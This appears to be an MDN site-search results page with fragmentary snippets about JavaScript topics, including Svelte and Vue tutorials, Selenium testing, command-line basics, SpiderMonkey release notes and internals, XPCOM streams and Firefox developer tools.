...sometimes "back-end scripting"). The diagram below shows a simple architecture for a dynamic website. As in the previous diagram, browsers send HTTP requests to the server, then the server processes the requests and returns appropriate HTTP responses. Requests for static resources are handled in the same way as for static sites (static resources are any files that don't change --typically: CSS,
JavaScript, Images, pre-created PDF files etc). Requests for dynamic resources are instead forwarded (2) to server-side code (shown in the diagram as a Web Application). For "dynamic requests" the server interprets the request, reads required information from the database (3), combines the retrieved data with HTML templates (4), and sends back a response containing the generated HTML (5,6). Are serve...
...tes (4), and sends back a response containing the generated HTML (5,6). Are server-side and client-side programming the same? Let's now turn our attention to the code involved in server-side and client-side programming. In each case, the code is significantly different: They have different purposes and concerns. They generally don't use the same programming languages (the exception being
JavaScript, which can be used on the server- and client-side). They run inside different operating system environments. Code running in the browser is known as client-side code and is primarily concerned with improving the appearance and behavior of a rendered web page. This includes selecting and styling UI components, creating layouts, navigation, form validation, etc. By contrast, server-side website ...
...And 2 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next In the last article we added more features to our To-Do list and started to organize our app into components. In this article we will add the app's final features and further componentize our app. We will learn how to deal with reactivity issues related to updating objects and arrays. To avoid common pitfalls, we'll have to dig a little deeper into Svelte's reactivity system. We'll also look at solving some accessibility focus issues, and more besides. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. You'll need a terminal with node + npm installed to compile and build your app. ...
...works use the virtual DOM technique to update the page. Basically, the virtual DOM is an in-memory copy of the contents of the web page. The framework updates this virtual representation which is then synced with the "real" DOM. This is much faster than directly updating the DOM and allows the framework to apply many optimization techniques. ...
...h is then synced with the "real" DOM. This is much faster than directly updating the DOM and allows the framework to apply many optimization techniques. These frameworks, by default, basically re-run all our
JavaScript on every change against this virtual DOM, and apply different methods to cache expensive calculations and optimize execution. They make little to no attempt to understand what our
JavaScript code is doing. Svelte doesn't use a virtual DOM representation. Instead, it parses and analyzes our code, creates a dependency tree, and then generates the required
JavaScript to update only the parts of the DOM that need to be updated. This approach usually generates optimal
JavaScript code with minimal overhead, but it also has its limitations. Sometimes Svelte cannot detect changes to variab...
...And 2 more matches
Working with Svelte stores - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next In the last article we completed the development of our app, finished organizing it into components, and discussed some advanced techniques for dealing with reactivity, working with DOM nodes, and exposing component functionality. In this article we will show another way to handle state management in Svelte -- Stores. Stores are global global data repositories that hold values. Components can subscribe to stores and receive notifications when their values change. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. You'll need a terminal with node + npm installed to compile and build your a...
... all these cases we were dealing with communication between parent and child components. But not all application state belongs inside your application's component hierarchy. For example, information about the logged in user, or whether the dark theme is selected or not. Sometimes, your app state will need to be accessed by multiple components that are not hierarchically related, or by a regular
JavaScript module. Moreover, when your app becomes complicated and your component hierarchy gets complex, it might become too difficult for components to relay data between each other. In that case, moving to a global data store might be a good option. If you've already worked with Redux or Vuex, then you'll be familiar with how this kind of store works. Svelte stores offer similar features for state manag...
... To use it, update your opening <div> tag like so: <div role="alert" on:click={() => visible = false} transition:fly > Transitions can also receive parameters, like this: <div role="alert" on:click={() => visible = false} transition:fly="{{delay: 250, duration: 300, x: 0, y: -100, opacity: 0.5}}" > Note: the double curly braces are not special Svelte syntax. It's just a literal
JavaScript object being passed as a parameter to the fly transition. Try your app out again -- you'll see that the notifications now look a bit more appealing. Note: Being a compiler allows Svelte to optimize the size of our bundle by excluding features that are not used. In this case, if we compile our app for production with npm run build, our public/build/bundle.js file will weight a little...
...And 2 more matches
Getting started with Vue - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next Now let's introduce Vue, the third of our frameworks. In this article we'll look at a little bit of Vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Vue components are written as a combination of
JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Componen...
...e syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. Objective: To setup a local Vue development environment, create a starter app, and understand the basics of how it works. A clearer Vue Vue is a modern
JavaScript framework that provides useful facilities for progressive enhancement -- unlike many other frameworks, you can use Vue to enhance existing HTML. This lets you use Vue as a drop-in replacement for a library like JQuery. That being said, you can also use Vue to write entire Single Page Applications (SPAs). This allows you to create markup managed entirely by Vue, which can improve developer experi...
...tion. In addition to allowing you to progressively integrate Vue into your applications, Vue also provides a progressive approach to writing markup. Like most frameworks, Vue lets you create reusable blocks of markup via components. Most of the time, Vue components are written using a special HTML template syntax. When you need more control than the HTML syntax allows, you can write JSX or plain
JavaScript functions to define your components. As you work through this tutorial, you might want to keep the Vue guide and API documentation open in other tabs, so you can refer to them if you want more information on any sub topic. For a good (but potentially biased) comparison between Vue and many of the other frameworks, see Vue Docs: Comparison with Other Frameworks. Installation To use Vue in an ...
...And 2 more matches
Setting up your own test automation environment - Learn web development
In this article, we will teach you how to install your own automation environment and run your own tests using Selenium/WebDriver and a testing library such as selenium-webdriver for Node. We will also look at how to integrate your local testing environment with commercial tools like the ones discussed in the previous article. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages; an idea of the high-level principles of cross browser testing, and automated testing. Objective: To show how to set up a Selenium testing environment locally and run tests with it, and how to integrate it with tools like LambdaTest, Sauce Labs, and BrowserStack. Selenium Selenium is the most popular browser automation tool. There are other ways, but the best way to ...
...the link opens this URL", etc. This is ideal for running automated tests. How you install and use WebDriver depends on what programming environment you want to use to write and run your tests. Most popular environments have available a package or framework that will install WebDriver and the bindings required to communicate with WebDriver using this language, for example, Java, C#, Ruby, Python,
JavaScript (Node), etc. See Setting Up a Selenium-WebDriver Project for more details of Selenium setups for different languages. Different browsers require different drivers to allow WebDriver to communicate with and control them. See Platforms Supported by Selenium for more information on where to get browser drivers from, etc. We will cover writing and running Selenium tests using Node.js, as it is quic...
...). We've created new browser instances for multiple browsers, then passed each one to the function so the test is performed on all three browsers! Fun huh? Let's move on, look at the basics of WebDriver syntax, in a bit more detail. WebDriver syntax crash course Let's have a look at a few key features of the webdriver syntax. For more complete details, you should consult the selenium-webdriver
JavaScript API reference for a detailed reference, and the Selenium main documentation's Selenium WebDriver and WebDriver: Advanced Usage pages, which contain multiple examples to learn from written in different languages. Starting a new test To start up a new test, you need to include the selenium-webdriver module like this: const webdriver = require('selenium-webdriver'), By = webdriver.By, unt...
...And 2 more matches
Command line crash course - Learn web development
ll undoubtedly be required to run some command in the terminal (or on the "command line" -- these are effectively the same thing). This article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (CLI) tools. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages. Objective: To understand what the terminal/command line is, what basic commands you should learn, and how to install new command line tools. Welcome to the terminal The terminal is a text interface for executing text-based programs. If you're running any tooling for web development there's a near-guaranteed chance that you'll have to pop open the command line and ru...
...Omitting the leading slash like we've done above makes the path relative to the your present working directory. This is exactly the same as you would see with URLs in your web browser. A leading slash means "at the root of the web site", whereas omitt...
...balFetch/GlobalFetch.fetch() location: /docs/Web/API/GlobalFetch/fetch location: /docs/Web/API/WindowOrWorkerGlobalScope/fetch Although contrived, we could take this result a little further and transform the location: line contents, adding the base origin to the start of each one so that we get complete URLs printed out. For that, we'll add awk to the mix (which is a programming language akin to
JavaScript or Ruby or Python, just a lot older!). Try running this: curl /docs/Web/API/fetch -L -I | grep location | awk '{ print "https://developer.mozilla.org" $2 }' Your final output should look something like this: /docs/Web/API/fetch /docs/Web/API/GlobalFetch/GlobalFetch.fetch() /docs/Web/API/GlobalFetch/fetch /docs/Web/API/WindowOrWorkerGlobalScope/fetch By combining these commands we've customis...
...And 2 more matches
Contributing to the Mozilla code base
Mozilla is a large project and we are thrilled to have contributors with very diverse skills Below is a table with our currently available projects to contribute to, along with the skills needs and links to their documentation. ...
...se skills Below is a table with our currently available projects to contribute to, along with the skills needs and links to their documentation. ...
...ribute to, along with the skills needs and links to their documentation. ...
...And 2 more matches
PopupNotifications.jsm
Note: This code module is imported by Firefox chrome windows, so you don't have to do it yourself in most extensions. ...
... Note: This code module is imported by Firefox chrome windows, so you don't have to do it yourself in most extensions. ...
...or the notification popup (that is, the element the arrow on the popup should point to). If you specify null, the notification will be anchored to the PopupNotification object's icon box. This anchorID must point to an element contained inside the PopupNotification object's icon box (for Firefox windows, the global PopupNotifications object uses the notification-popup-box element). mainAction A
JavaScript object literal containing fields that define the button to draw in the notification panel. See Notification actions below for details. secondaryActions An array of notification action objects; these are used to populate the drop-down menu on the notification panel's button. options A
JavaScript object containing optional properties for the notification. See Notification options below for deta...
...And 2 more matches
Scroll-linked effects
y style="height: 5000px" onscroll="document.getElementById('toolbar').style.top = Math.max(100, window.scrollY) + 'px'"> <div id="toolbar" style="position: absolute; top: 100px; width: 100px; height: 20px; background-color: green"></div> </body> This implementation of sticky positioning relies on the scroll event listener to reposition the "toolbar" div. As the scroll event listener runs in the
JavaScript on the browser's main thread, it will be asynchronous relative to the user-visible scrolling. Therefore, with asynchronous scrolling, the event handler will be delayed relative to the user-visible scroll, and so the div will not stay visually fixed as intended. Instead, it will move with the user's scrolling, and then "snap" back into position when the scroll event handler runs. This constant mov...
...get" class="snaptarget" style="position: relative; top: 200px; width: 100%; height: 200px; background-color: green"></div> </body> In this example, there is a scroll event listener which detects if the scroll position is within 200 pixels of the top of the "snaptarget" div. If it is, then it triggers an animation to "snap" the scroll position to the top of the div. As this animation is driven by
JavaScript on the browser's main thread, it can be interrupted by other
JavaScript running in other tabs or other windows. Therefore, the animation can end up looking janky and not as smooth as intended. Instead, using the CSS snap-points property will allow the browser to run the animation asynchronously, providing a smooth visual effect to the user. <body style="height: 5000px"> <style> body, /* bli...
... Other effects In many cases, scroll-linked effects can be reimplemented using CSS and made to run on the compositor thread. However, in some cases the current APIs offered by the browser do not allow this. In all cases, however, Firefox will display a warning to the developer console (starting in version 46) if it detects the presence of a scroll-linked effect on a...
...And 2 more matches
Index
Generates encryption/mac keys and outputs public key as pkcs11 certificate signing request 172 EncDecMAC using token object - sample 3 EncDeCMac, HTML, NCC, NCC Article, Web, Web Development No summary! 173 Encrypt Decrypt_MAC_Using Token Generates encryption/mac keys and uses token for storing. 174 Hashing - sample 1 HTML, Hashing Sample,
JavaScript, NSS, Web Development, hashing The NSS same code below computes the hash of a file and saves it to another file, this illustrates the use of NSS message APIs. 175 Initialize NSS database - sample 2 HTML,
JavaScript, NSS, NSS Article, NSS Initialization, Web Development The NSS sample code below demonstrates how to initialize the NSS database. 176 NSS Sample C...
...ord-file] modutil -dbdir sql:/home/my/sharednssdb -changepw "NSS Certificate DB" Enter old password: Incorrect password, try again... Enter old password: Enter new password: Re-enter new password: Token "Communicator Certificate DB" password changed successfully. JAR Installation File Format When a JAR file is run by a server, by modutil, or by any program that does not interpret
JavaScript, a special information file must be included to install the libraries. There are several things to keep in mind with this file: o It must be declared in the JAR archive's manifest file. o The script can have any name. o The metainfo tag for this is Pkcs11_install_script. To declare meta-information in the manifest file, put it in a file that is passed to sign...
...files from the JAR archive in the local system after SmartUpdate has validated the digital signature. For more details, see the description of -m that follows. The -i option provides a straightforward way to provide this information if you don't need to specify any metadata other than an installer script. -j directory Specifies a special
JavaScript directory. This option causes the specified directory to be signed and tags its entries as inline
JavaScript. This special type of entry does not have to appear in the JAR file itself. Instead, it is located in the HTML page containing the inline scripts. When you use signtool -v, these entries are displayed with the string NOT PRESENT. -...
...And 2 more matches
Rhino Examples
Examples have been provided that show how to control the
JavaScript engine and how to implement scriptable host objects. All the examples are in the git tree at mozilla/js/rhino/examples. Sample Scripts The unique.js script allows printing unique lines from a file. The liveConnect.js script shows a sample usage of LiveConnect (Java-to-
JavaScript connectivity). The jsdoc.js script is a
JavaScript analog to Java's javadoc. It makes heavy use of regular expressions. The checkParam.js script is a useful tool to check that @param tags in Java documentation comments match the parameters in the corresponding Java method. ...
...Connect (Java-to-
JavaScript connectivity). The jsdoc.js script is a
JavaScript analog to Java's javadoc. It makes heavy use of regular expressions. The checkParam.js script is a useful tool to check that @param tags in Java documentation comments match the parameters in the corresponding Java method. The enum.js script is a good example of using a JavaAdapter to implement a Java interface using a
JavaScript object. The NervousText.js script is a
JavaScript implementation of the famous NervousText applet using
JavaScript compiled to Java classes using jsc. It can be run in the HTML page NervousText.html. Controlling the
JavaScript Engine The RunScript class RunScript.java is a simple program that executes a script from the command line. The Control class Control.java is a program that executes a simp...
...The programs may be specified as files on the command line or by typing interactively while the shell is running. ...
...And 2 more matches
SpiderMonkey compartments
A compartment is a new concept with SpiderMonkey 1.8.5. Compartments are used to create multiple
JavaScript memory heaps, which avoids having one heap for all
JavaScript objects. Each compartment is a separate
JavaScript heap. In previous versions of SpiderMonkey, the garbage collector would walk the entire heap of all
JavaScript objects when garbage collection was needed. With compartments, garbage collection can run per compartment. This can result in significant performance improvements in some applications. An object in one compartment cannot touch an object in another compartment, except through a cross-compartment wrapper. ...
...llection was needed. With compartments, garbage collection can run per compartment. This can result in significant performance improvements in some applications. An object in one compartment cannot touch an object in another compartment, except through a cross-compartment wrapper. Compartment Example The Firefox browser embeds SpiderMonkey. In Firefox 4 and above, compartments are used and all
JavaScript objects that belong to a certain origin (such as "http://mail.google.com/" or "http://www.bank.com/") are placed in a separate compartment. This has some important implications: All objects created by a website reside in the same compartment and hence are located in the same memory region. This improves cache utilization by reducing false sharing of cache lines. False sharing occurs when we a...
...parate compartment. This has some important implications: All objects created by a website reside in the same compartment and hence are located in the same memory region. This improves cache utilization by reducing false sharing of cache lines. False sharing occurs when we are trying to operate on an object and we have to read an entire cache line of data into the CPU cache. ...
...And 2 more matches
Hacking Tips
It is separated in 2 parts, one section related to debugging and another section related to drafting optimizations. Many of these tips only apply to debug builds of the JS shell; they will not function in a release build. Debugging Tips Getting help (from JS shell) Use the help function to get the list of all primitive functions of the shell with their description. ...
... file /home/nicolas/mozilla/contrib-push/js/src/jit/Ion.cpp, line 3196. (gdb) continue Compiling self-hosted:650:20470-21501 Bailout from self-hosted:20:403-500 Invalidate self-hosted:20:403-500 Note: the line 3196, listed above, corresponds to the location of the Jit spew inside jit::Invalidate function. Hacking tips Benchmarking (shell) AreWeFastYet.com display the benchmark results of the
JavaScript shell, and browser for B2G. These benchmarks are publicly recognized benchmarks suggested by other companies and are used as a metric to evaluate how fast
JavaScript engines. This tool is maintained by the
JavaScript Team, to find regressions and to compare SpiderMonkey with other
JavaScript engines when possible. To run these benchmarks localy, you can clone AreWeFastYet sources and look insi...
... One tip is to start looking at a script with an inverted JS stack to locate the most expensive JS function, then to focus on the frame of this JS function, and to remove the inverted stack and look at C++ part of this function to determine from where the cost is coming from. ...
...And 2 more matches
Property attributes
ditionally defines several non-standard property attributes. The JSAPI expresses property attributes as a value of type unsigned, the bitwise OR of zero or more of the JSPROP flags described below. An application can set property attributes when creating a property. ...
...a property. See JS_DefineProperty, JS_FS, and JS_FN Flag Description JSPROP_ENUMERATE The property is visible to
JavaScript for...in and for each ... in loops, as well as to JS_Enumerate. This is the inverse of the ECMA standard DontEnum attribute. MXR ID Search for JSPROP_ENUMERATE JSPROP_READONLY The property's value cannot be set. In
JavaScript 1.2 and lower, it is an error to attempt to assign a value to a read-only property. In
JavaScript 1.3 and higher, as in ECMAScript, attempts to set a value on a read-only property are ignored. This is the ECMA standard ReadOnly attribute. ...
...operty's value cannot be set. In
JavaScript 1.2 and lower, it is an error to attempt to assign a value to a read-only property. In
JavaScript 1.3 and higher, as in ECMAScript, attempts to set a value on a read-only property are ignored. This is the ECMA standard ReadOnly attribute. MXR ID Search for JSPROP_READONLY JSPROP_PERMANENT The property cannot be deleted. In
JavaScript 1.2 and lower, it is an error to attempt to delete a permanent property. In
JavaScript 1.3 and higher, as in ECMAScript, such attempts are ignored. This is the ECMA standard DontDelete attribute. The
JavaScript language does not provide any way for a script to delete a permanent property. MXR ID Search for JSPROP_PERMANENT JSPROP_PROPOP_ACCESSORS Passed to JS_D...
...And 2 more matches
Parser API
NOTE: This page describes SpiderMonkey-specific behavior and might be incomplete. Visit ESTree spec for a community AST standard that includes latest ECMAScript features and is backward-compatible with SpiderMonkey format. ...
...omponents.utils.import("resource://gre/modules/reflect.jsm", obj) Built-in objects Whether in SpiderMonkey shell or Firefox (after importing), the global singleton object Reflect currently contains just the parse method. Properties of the Reflect object The Reflect object currently consists of a single method. Reflect.parse(src[, options]) Coerces src to a string and parses the result as a
JavaScript program. By default, the parsing returns a Program object (see below) representing the parsed abstract syntax tree (AST). Additional options may be provided via the options object, which can include any of the following properties: loc Boolean Default: true When loc is true, the parser includes source location information in the returned AST nodes. source Str...
...fails due to a syntax error, an instance of SyntaxError is thrown. The syntax error object thrown by Reflect.parse() has the same message property as the syntax error that would be thrown by eval(src). The lineNumber and fileName properties of the syntax error object indicate the source location of the syntax error. Node objects By default, Reflect.parse() produces Node objects, which are plain
JavaScript objects (i.e., their prototype derives from the standard Object prototype). All node types implement the following interface: interface Node { type: string; loc: SourceLocation | null; } The type field is a string representing the AST variant type. Each subtype of Node is documented below with the specific string of its type field. You can use this field to determine which interface a ...
...And 2 more matches
SpiderMonkey 1.8.8
These release notes are an incomplete draft and were initially seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to SpiderMonkey 1.8.8 (nor is it even the case that the version number will be 1.8.8!). The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 1.8.8. You can download full source code here: INSERT-ACTUAL-LINK-WHEN-THE-RELEASE-HAPPENS (MD5 checksum: INSERT-ACTUAL-HASH-HERE). SpiderMonkey 1.8.8 is the
JavaScript engine that shipped in Firefox 10.0. It continues to improve performance over previous SpiderMonkey releases, with ongoing JIT compilation work and with the introduction of type inference to enable faster JITted code. It also contains new language and API features described in detail below. Please let us ...
...revious SpiderMonkey releases, with ongoing JIT compilation work and with the introduction of type inference to enable faster JITted code. It also contains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. Or file bugs at bugzilla.mozilla.org under Product: Core, Component:
JavaScript engine. --INSERT-ACTUAL-RELEASE-DATE-HERE Platform support SpiderMonkey 1.8.8 is supported on all the platforms where Firefox INSERT-ACTUAL-FIREFOX-VERSION-NUMBER-HERE runs. SpiderMonkey 1.8.8 includes a just-in-time compiler (JIT) that compiles
JavaScript to machine code, for a significant speed increase. It is supported on x86, x86_64, and ARM architectures. On some other platforms (SPARC, MI...
...It's the same language, just not as fast. Migrating to SpiderMonkey 1.8.8 The following features in earlier versions of SpiderMonkey have been dropped. ...
...And 2 more matches
SpiderMonkey 17
These release notes are an incomplete draft and were initially seeded from the (now-defunct) 1.8.8 release notes, which were themselves seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to SpiderMonkey 17. The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 17. You can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (MD5 checksum: 20b6f8f1140ef6e47daa3b16965c9202). SpiderMonkey 17 is the
JavaScript engine that shipped in Firefox 17. It continues to improve performance over previous SpiderMonkey releases, with ongoing JIT compilation work and with the introduction of type inference to enable faster JITted code. It also contains new language and API features described in detail...
...revious SpiderMonkey releases, with ongoing JIT compilation work and with the introduction of type inference to enable faster JITted code. It also contains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. Or file bugs at bugzilla.mozilla.org under Product: Core, Component:
JavaScript engine. -- 25 March 2013 Platform support SpiderMonkey 17 is supported on all the platforms where Firefox 17 runs. SpiderMonkey 17 includes a just-in-time compiler (JIT) that compiles
JavaScript to machine code, for a significant speed increase. It is supported on x86, x86_64, and ARM architectures. On some other platforms (SPARC, MIPS), the JIT is provided but not supported. On all other plat...
...It's the same language, just not as fast. Migrating to SpiderMonkey 17 The following features in earlier versions of SpiderMonkey have been dropped. ...
...And 2 more matches
SpiderMonkey 45
It continues to improve performance over previous SpiderMonkey releases. It also contains new language and API features described in detail below. ...
...ty vulnerabilities. These release notes are incomplete. The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 45. You can download full source code from https://ftp.mozilla.org/pub/spidermonkey/releases/45.0.2/mozjs-45.0.2.tar.bz2 SHA256: 570530b1e551bf4a459d7cae875f33f99d5ef0c29ccc7742a1b6f588e5eadbee MD5: 2ca34f998d8b5ea79d8616dd26b5fbab SpiderMonkey 45 is the
JavaScript engine that shipped in Firefox 45. It continues to improve performance over previous SpiderMonkey releases. It also contains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. Or file bugs at bugzilla.mozilla.org under Product: Core, Component:
JavaScript engine. You may wish...
...37921 (aliased as "sm.embedding"). -- Apr 14, 2016 Platform support SpiderMonkey 45 is supported on all platforms able to run Firefox 45. Compiling it requires a C++ compiler, and the JSAPI can only be used from C++ code. If you are compiling with Microsoft's Visual Studio, note the minimum supported version is MSVC 2013. SpiderMonkey 45 includes a just-in-time compiler (JIT) that compiles
JavaScript to machine code, for a significant speed increase. It is supported on x86, x86_64, and ARM architectures. On several other platforms (SPARC, MIPS), the JIT is provided but not supported. On remaining platforms the JIT is disabled;
JavaScript code runs in an interpreter, as it has in previous versions. It's the same language, just not as fast. Migrating to SpiderMonkey 45 SpiderMonkey 45 is not...
...And 2 more matches
Making cross-thread calls using runnables
In general, threading and message passing should be asynchronous. ...
...In general, threading and message passing should be asynchronous. ...
...In general, threading and message passing should be asynchronous. ...
...And 2 more matches
XPCOM Stream Guide
RI) method or its .newChannelFromURI(uri) method. The "safe file output stream" Mozilla provides a "safe file output stream" implementation. This implementation actually writes the contents of the file you're trying to create to a temporary file. If everything goes well, calling the stream's .finish() method overwrites the original file with the new file. Using Streams in C++ Using Streams in
JavaScript Input Streams Input streams are not scriptable - you cannot directly call .read() on them, for example. To solve this, there is a special nsIScriptableInputStream interface and "scriptable stream" wrapper. If you have an input stream called nativeStream, you can use code like this: var stream = Components.classes["@mozilla.org/scriptableinputstream;1"] .createInstance(Co...
... .createInstance(Components.interfaces.nsIStringInputStream); var data = "Hello World"; inStream.setData(data, data.length); while (inStream.available()) { outStream.writeFrom(inStream, inStream.available()); } Note this is an inefficient example: the only important part is how to feed the output stream. ...
...tream.writeFrom(inStream, inStream.available()); } Note this is an inefficient example: the only important part is how to feed the output stream. This is also a synchronous (blocking) operation, so if you're in
JavaScript, consider using NetUtil.jsm as described below. A note about Unicode strings versus nsIInputStream nsIInputStream and nsIOutputStream work with 8-bit characters. However,
JavaScript strings contain 16-bit characters. This can mean if you have characters beyond ASCII code 255, you risk losing data using nsStringStream, for example. To get an input stream for
JavaScript strings safely, try this. var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"] .createInstance(Components.interfaces.nsIScriptableUnicodeConverter); co...
...And 2 more matches
Building an Account Manager Extension
if (server.type == \"imap\") return true; return false; }, QueryInterface: XPCOMUtils.generateQI([ Components.interfaces.nsIMsgAccountManagerExtension ]) } Step 2: Building a Component We convert the interface to a XPCOM Component and register it in the component manager as Account Manager Extension. Therefore we add the following code to the previous. The
JavaScript file has to be saved either in the extension's or Thunderbird's component directory. // Define the Contract information needed for this Component... // ... the Unique Component Identifier (change it if you copied this example!)... DevmoAccountManagerExtension.prototype.classID = Components.ID("{659ce960-9dfb-11dd-ad8b-0800200c9a55}"); // ... the description and ... DevmoAccountManagerExtension...
... panel has to be located in chrome://example@mozilla.org/content/am-devmo-account.xul. And the property file needs to be in chrome://example@mozilla.org/locale/am-devmo-account.properties. The XUL file needs a page element as root element, with a special on load command. Furthermore you should include the AccountManager.js script and accountManage.css styles. It is common practice to use for the
JavaScript of the new panel, the same naming as used for the XUL. This means in our example, the
JavaScript file should be located in chrome://example@mozilla.org/content/am-devmo-account.js. <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet href="chrome://messenger/skin/accountManage.css" type="text/css"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="pa...
...xample, the
JavaScript file should be located in chrome://example@mozilla.org/content/am-devmo-account.js. <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet href="chrome://messenger/skin/accountManage.css" type="text/css"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="parent.onPanelLoaded('am-devmo-account.xul');"> <script type="application/
javascript" src="chrome://messenger/content/AccountManager.js"/> <script type="application/
javascript" src="chrome://example@mozilla.org/content/am-devmo-account.js"/> <dialogheader title="Devmo Example Panel"/> <description> This Panel is only shown in IMAP Accounts... </description> <vbox flex = "1"/> </page> As with the XUL page, the content of the property file relies on ...
...And 2 more matches
nsISessionStore
getTabValue( in nsIDOMNode aTab, in AString aKey ); Parameters aTab The tab on which to get the value. aKey The key whose corresponding value is to be returned. Return value The string value that was previously assigned to aKey using nsISessionStore.setTabValue(), or an empty string if no value is set for that key. If the previously saved value was originally a complex data (ie a
JavaScript object) it can then be deserialized using JSON.parse cf. nsISessionStore.setTabValue(). getWindowState() Returns the current state of one specified window in the web browser. AString getWindowState( in nsIDOMWindow aWindow ); Parameters aWindow The browser window whose state is to be returned. See #Note on windows. Return value A JSON string representing a session state that contain...
...ow aWindow, in AString aKey ); Parameters aWindow The window from which the value is to be retrieved. aKey The key whose corresponding value is to be retrieved. Return value The string value that was previously assigned to aKey using nsISessionStore.setWindowValue(), or an empty string if no value is set for that key. If the previously saved value was originally a complex data (ie a
JavaScript object) it can then be deserialized using JSON.parse cf. nsISessionStore.setWindowValue(). init() Initializes the session store service. Note: This function is intended for use only by the browser; extensions shouldn't call it. void init( in nsIDOMWindow aWindow ); Parameters aWindow The window for which to initialize the service. persistTabAttribute() Sets the name of a tab attrib...
... on the tab, such as one returned by getTabState(). setTabValue() Sets the value of a specified key on a tab. void setTabValue( in nsIDOMNode aTab, in AString aKey, in AString aStringValue ); Parameters aTab The tab for which the value is to be set. aKey The key whose value is to be set. aStringValue A string to set as the value for the key aKey.To assign more complex data (ie
JavaScript objects) serialize them using JSON.stringify. setWindowState() Sets the state of a single window to a given stored state. void setWindowState( in nsIDOMWindow aWindow, in AString aState, in boolean aOverwrite ); Parameters aWindow The nsIDOMWindow whose state is to be set to the state indicated by aState. aState The saved state to apply to the specified window. aOverwrite If t...
...And 2 more matches
Declaring and Using Callbacks
Warning: Callbacks must be invoked on the same thread with which they were registered. There is no concurrency logic in js-ctypes, so invoking callbacks on other threads will cause things to crash. Prerequiste Understanding ABI FunctionType Declaring Callbacks A callback is declared by using ctypes.FunctionType. ...
...is no concurrency logic in js-ctypes, so invoking callbacks on other threads will cause things to crash. Prerequiste Understanding ABI FunctionType Declaring Callbacks A callback is declared by using ctypes.FunctionType. The first argument is the calling convention, the second argument is the return type, and the third is an array of arguments the callback expects. The return type of the
javascript callback must match the return type declared, otherwise js-ctypes will throw an error saying "unexpected return type". Examples Example 1 This callback that returns bool and has two arguments. var myFuncTypeDeclaration = ctypes.FunctionType(ctypes.default_abi, ctypes.bool, [ctypes.int, ctypes.voidptr_t]); function myJSCallback(cInt, cPtr) { return true; // as the return of the FunctionTy...
... declared, otherwise js-ctypes will throw an error saying "unexpected return type". Examples Example 1 This callback that returns bool and has two arguments. var myFuncTypeDeclaration = ctypes.FunctionType(ctypes.default_abi, ctypes.bool, [ctypes.int, ctypes.voidptr_t]); function myJSCallback(cInt, cPtr) { return true; // as the return of the FunctionType was ctypes.bool we must make our
javascript callback return bool otherwise js-ctypes will throw error saying unexpected type return } var myCCallback = myFuncTypeDeclaration.ptr(myJSCallback); Example 2 This callback that returns void and no arguments. When void is the return type, the
javascript callback must not return, or it should return undefined. var myFuncTypeDeclaration = ctypes.FunctionType(ctypes.default_abi, ctypes.void_t, ...
...And 2 more matches
Browser Console - Firefox Developer Tools
The Browser Console is like the Web Console, but applied to the whole browser rather than a single content tab. So it logs the same sorts of information as the Web Console - network requests,
JavaScript, CSS, and security errors and warnings, and messages explicitly logged by
JavaScript code. However, rather than logging this information for a single content tab, it logs information for all content tabs, for add-ons, and for the browser's own code. If you also want to use the other web developer tools in the regular Web Toolbox with add-on or browser code, consider using the Browser Toolbox. Similarly, you can execute
JavaScript expressions using the Browser Console. But while the Web Console executes code in the page window scope, the Browser Console executes them in the scope of the browser's ...
...To enable it set the devtools.chrome.enabled preference to true in about:config, or set the "Enable browser chrome and add-on debugging toolboxes" (Firefox 40 and later) option in the developer tool settings. ...
...plications/FirefoxAurora.app/Contents/MacOS/firefox-bin -jsconsole The Browser Console looks like this: You can see that the Browser Console looks and behaves very much like the Web Console: most of the window is occupied by a pane that display messages. at the top, a toolbar enables you to filter the messages that appear. at the bottom, a command line interpreter enables you to evaluate
JavaScript expressions. Beginning with Firefox 68, the Browser Console allows you to show or hide messages from the content process (i.e. the messages from scripts in all the opened pages) by setting or clearing the checkbox labeled Show Content Messages. The following image shows the browser console focused on the same page as above after clicking on the Show Content Messages checkbox. Browser Console...
...And 2 more matches
UI Tour - Firefox Developer Tools
At the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served. ...
...At the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served. You can search for a file using Ctrl + P (Cmd + P on a Mac). Web Extensions are listed in the Source List pane using the extension's name. There are several context menu options a...
...s all files other than those within the selected directory to be skipped by the debugger. All such files acquire the eye icon, and the menu option for that folder changes to Unignore files outside this directory. Outline View The Outline view shows a tree for navigating the currently open file. Use it to jump directly to a function, class or method definition. Source pane This shows the
